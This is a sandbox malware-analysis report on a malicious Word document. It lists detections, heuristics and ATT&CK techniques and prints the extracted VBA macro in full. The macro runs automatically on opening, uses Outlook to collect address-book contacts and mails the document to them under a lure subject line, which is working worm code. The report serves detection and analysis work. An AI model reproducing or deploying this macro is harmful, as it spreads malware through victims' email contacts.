MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros that are automatically executed upon opening the document via the Document_Open subroutine. This script leverages Outlook to send emails containing the document as an attachment to contacts harvested from the user's address book. The ClamAV detection indicates this behavior is associated with a known dropper agent.
Heuristics 5
-
ClamAV: Doc.Dropper.Agent-6397287-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6397287-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 993 bytes |
SHA-256: b7d49bf4b8fbcde4fcf2a373c8712d1efbec2b8dce77ffc8f5439aa00497559c |
|||
|
Detection
ClamAV:
Win.Worm.VBS-213
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Dim outl, mpnm, ofs
Set outl = CreateObject("Outlook.Application")
Set mpnm = outl.GetNameSpace("MAPI")
mpnm.Logon "profile", "password"
For y = 1 To mpnm.AddressLists.Count
Set adbk = mpnm.AddressLists(y)
x = 1
Set ofs = outl.CreateItem(0)
For oo = 1 To adbk.AddressEntries.Count
td = adbk.AddressEntries(x)
ofs.Recipients.Add td
x = x + 1
If x > 50 Then oo = adbk.AddressEntries.Count
Next oo
ofs.Subject = "Nachricht von " & Application.UserName
ofs.Body = "Anbei wie besprochen die Liste"
atti = ActiveDocument.FullName
atti = Mid(atti, 1, Len(atti) - 4)
atti = atti & "_2.doc"
ofs.Attachments.Add atti
ofs.Send
td = ""
Next y
mpnm.Logoff
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.